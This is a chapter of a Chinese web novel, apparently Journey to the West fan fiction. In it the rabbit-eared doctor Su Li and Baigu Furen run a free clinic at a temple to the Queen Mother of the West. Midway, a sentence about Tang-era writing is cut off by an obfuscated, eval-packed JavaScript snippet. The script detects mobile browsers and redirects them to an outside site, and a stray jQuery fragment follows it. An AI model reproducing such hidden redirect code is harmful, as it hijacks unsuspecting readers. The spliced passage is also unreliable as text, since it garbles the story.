三日后。
晌午的日头刚起来,村口老槐树的树荫下,歇着几个刚撂下锄头的庄稼汉。
张二狗用褂子抹了把脸,捅了捅身旁打盹的老李,神秘兮兮地道:“哎醒醒,听说了没?”
老李刚睡着就被叫醒,没好气地道:“咋?又是你家鸡下了双黄蛋?”
“去你的!”张二狗啐了一口,随后道,“是咱村西边那个青阳观,开了个医馆!”
老李撩起眼皮,兴趣缺缺:“啧,这有啥稀奇?东头李家村,前阵子不也有来了个云游的道姑,支了个摊给人瞧病么?这些道士赚不到香火钱,也就只能靠这玩意儿吃饭了。”
“嗐,那可不一样。”张二狗压低声音道,“我听说那医馆里坐堂的大夫都是妖怪!”
“什么?妖怪?”老李嗤笑一声,压根不信,“妖怪敢在道观里面开医馆?你是不是又背着我喝酒,在这儿说胡话呢?”
“我呸!”张二狗道,“你别不信,据说那些妖怪供的可是西王母!那青阳观里摆着的可不就是王母娘娘的神像么?咱们村谁没几个人信这个,那观里香火都快断没了!那些妖怪们看不下去,特意下凡来青阳观里开医馆,就是为了给王母娘娘重振香火。”
老李笑道:“那照你这么说,它们就不是妖怪,而是王母娘娘派下来的神兽。”
“神不神的我是不知道。”张二狗摇摇头,随即又神神秘秘地补充道,“不过我听隔壁王家嫂子说,她侄女好奇,昨儿个在观外远远瞧了一眼,为首的那个大夫,头上真真切切顶了对雪白雪白的兔耳朵!”
“兔耳朵?”老李乐了,“嚯,那莫不是月宫里捣仙药那位玉兔下凡了?你说我要是找他去求长生不老药,他会不会给?”
“做你的青天白日梦去吧!”张二狗手肘顶了他一下,笑骂道,“仙丹是那么好求的?人家要真是王母娘娘座下的,能搭理你这糟老头子?不过……”他话锋一转,神色又正经几分,“那兔耳大夫的医术,听说是真有点邪门儿!”
“怎么个邪门法?”老李被他勾起了兴致,倒想听听这人还能编出什么花儿来。
张二狗灌了口水,继续道:“就咱们村东头那赵瘸子,他那条腿,骨头都歪得不成样子了,县里的名医都说没治,这么多年也只能拄着拐棍拖着走。”
老李点头:“赵瘸子嘛,一下雨嚎得全村都听见,也是可怜。不过幸好他儿女出息又孝顺,不像咱一把年纪了还要来地里干活。”
“可不是嘛,要不是他舍不得他那破房子,他儿女早带他去城里享福咯。”张二狗晃晃脑袋,“哎,话扯远了。你猜怎么着?昨个儿有人见他,腿上捆着白布,那老脸红光满面的,据说是腿给治好了!”
“不能吧?”老李眼珠子瞪圆了。
“千真万确!”张二狗拍着胸脯,“听说是他死马当活马医,偷偷摸摸去了青阳观那医馆,找那妖怪大夫去了。当天回来就说腿给治好了,他女儿得了信儿,特意跑去塞钱,大夫没要!后来又是捐香火又是送米面油盐当贡品,人家才勉强收下。”
“你就可劲儿吹吧!说得跟真的一样。”
“吹?你要是不信,咱现在就去赵瘸子家瞅瞅!”
“去就去!怕你不成!”
两个老汉你一言我一语地往村里去了。
-
此刻,青阳观内。
香案后,王母娘娘神像端坐,案前香炉里,三柱青烟袅袅升起。
几个道士正埋头晾晒着草药,眼神却时不时右边的偏殿瞟去。那里原本是解签卖符的地方,如今却被挂上了“济世堂”的牌匾,成了间不伦不类的医馆。
医馆的柜台后端坐个白衣女子,她的指尖摩挲着瓷杯,冰冷的目光扫过那几个晒药道士,道士们被看得头皮发麻,赶紧低下头加快手上的动作。
见道士们都在认真干活,那女子才抿了一口杯中带着花香的液体,将瓷杯轻轻搁在了柜台上。
“夫人。”内间的布帘被挑开,从里面走出个身穿浅绿色短打的女子,乌黑的长发高高束起,一对雪白的兔耳朵毫无遮掩立在发间。
此人正是苏璃。
“忙完了?”白骨夫人收回了盯着道士的视线,将目光转向苏璃。
苏璃点了点头,随手端起柜台上的瓷杯灌了一大口。
嗯?蜂蜜水?苏璃动作一顿,后知后觉地意识到自己拿错了杯子。
她悄悄抬眼看向白骨夫人。
白骨夫人目光掠过她手中的杯子,没说话,只是取过另一个瓷杯,又给自己倒了一杯。
“咳。”苏璃放下水杯,头顶的兔耳动了动,“其实夫人您不用来也可以的,我一个人也……”
“你一个人?”白骨夫人打断了她的话,瞥了她一眼,“我要是不来看看,你一个人怕是又要反了天了。假借西王母娘娘的名头寻求庇护,这种办法也就你能想出来了。”
经过一年多的相处,苏璃早摸透了夫人刀子嘴豆腐心的脾性,嘴上说是来看着她防止她闯祸,其实是怕她一个人在这人间地界遇上麻烦,特意来给她镇场子的。
“是,夫人教训得是。”苏璃眼中带笑,辩解道,“不过,据说西王母娘可是‘豹尾虎齿’,与咱妖怪也算是半个同族,而且她座下使者不也都是神兽大妖?想来对咱妖族也是有些情分在的,就算让她知道了,我这也没打着她旗号干坏事不是?”
“而且西王母可是上古大神,就算是玉帝都要惧她三分。借了她老人家的名头……”苏璃狡黠地眨眨眼,“别说寻常宵小,便是大罗神仙想动咱们,也得先掂量掂量了。”
“罢了,你如今嘴皮子倒是利索了。”白骨夫人微微摇头,懒得与她争辩。
“嘿嘿,”苏璃耳朵抖了抖,看了看日头,“时辰差不多,我去瞧瞧那位婆婆醒了没。”
她转身进了里间,不大的诊室里,一位头发花白的老婆婆正躺在病床上。
苏璃轻声唤道,拍了拍老婆婆的肩:“婆婆?醒醒,该起来了。”
老婆婆眼皮动了动,悠悠转醒,眼神还有些迷茫。
“婆婆,感觉怎么样?头还晕吗?”苏璃温声问,见老婆婆摇头,便拿出早已备好的牛皮纸包,里面包着的是系统商店里兑换出来的止疼药和消炎药。
这些药之前没给小妖们用,一是小妖人形和兽形体重不一样,苏璃也不知该用多少剂量,二是因为有修为在身,小妖的新陈代谢也要快很多,这些也不知道还有没有效果。
如今医治凡人,倒是终于派上用场了。
“这药您拿好。这两晚睡前各服一粒,温水送下就行。”
苏璃怕老婆婆记不住,找来了纸笔想将用法和注意事项写下,可刚要提笔,她却猛地顿住了。这里是西游记的世界,还处在大唐年间,唐代使用的文字
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973690|177848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……她还真不会写。
这一朝穿越,自己倒是成了个“文盲”。
就在这时,一只白皙修长的手伸了过来,接过她手上的纸笔,几行娟秀带着冷峭筋骨的字迹便落于纸上。
“谢谢夫人!”苏璃笑着接过纸条,仔细折好,又用细绳将其和牛皮纸包捆在一处,递到老婆婆手里,“婆婆,您收好,服用方法都写在这纸条上了,可别忘了。”
“哎呦,谢谢小兔大夫!”老婆婆接过药包,连声道谢。
随后,她目光落在为她写纸条的白衣女子身上,又听苏璃称呼那女子为夫人,于是便称赞道:“小兔大夫,你家夫人长得跟仙女似的,俊得很呐!大夫你也是个有福气的!你们两个可真是郎才女貌,天生一对啊。”
苏璃和白骨夫人闻言皆是一愣。
苏璃连忙摆手解释道:“婆婆您误会了,我是女子!这位……确实是我家夫人,但不是我娘子!”她一边解释,一边偷瞄着白骨夫人的脸色,耳尖微微发烫。
白骨夫人面上依旧清冷,转身快步离开里间,但略显匆忙的脚步暴露了她内心的尴尬。
“哦呦,是老婆子老眼昏花了!”老婆婆知道自己闹了大乌龙,连忙道歉,“对不住!对不住!我看大夫您个儿那么高,又是利索打扮,还以为您是个俊俏小伙儿嘞,原来是个大姑娘啊!怪不得声音那么脆,好听得很!是我老糊涂了,两位姑娘莫怪,莫怪啊!”
“哈哈哈,没事的婆婆,您也是好心夸赞嘛!”苏璃立刻笑着打圆场,伸手稳稳搀扶起老婆婆,“来,我扶您出去。药可千万记得按时吃啊!”
老婆婆被搀扶着站起身,随后从怀里掏出个旧布包,布包里面零星躺着几个磨得发亮的铜板。
“大夫,您看……”老婆婆的声音低了下去,不安地搓着手,“我也不知道这够不够……”
苏璃按住了老婆婆的手,将布包小心合拢,推回老婆婆怀中。
“婆婆。”苏璃安抚道,“咱们这儿看病抓药,不收诊金的。”
“啊?不收钱?”老婆婆愣住了,难以置信地道,“这哪儿成啊?让大夫您白忙活……”
“怎么就白忙活了?”苏璃笑着打断她,“咱们来这开馆行医,就是为了给娘娘积攒功德,重续香火的,这治病救人便是在助我们修行。”
这话倒也是没说错,她绑定的医修系统已经大半年没动静了,前几天她去商城里兑换东西时才发现,除了那种要人命的限时任务,系统里面还有个每日任务——每日治疗十个对象,不强制执行,但只要治疗完一个对象就会有10点的修为奖励。
苏璃正愁系统不发任务她没办法突破升级,有了这每日任务,这个问题倒也解决了。
“原来是这样啊……”老婆婆仍有些将信将疑。
“婆婆您若真想谢我,”苏璃笑容更深,“等您这病彻底好了,身子骨利索了,记得到观里来给娘娘上柱香,这便是对我们最好的报答了。”
“哎,好!老婆子记下了,等好了一定来给王母娘娘磕头上香!” 老婆婆连声应道。
白骨夫人在主殿内,看着苏璃将老婆婆送观门,目光便落回西王母那尊肃穆的神像上。她缓步上前,对着神像,徐徐拜了三拜。
一阵清风穿堂而过,拂落了供台上的签筒,一枚竹签骨碌碌滚至白骨夫人的面前,上面干干净净,只刻了个“一”字。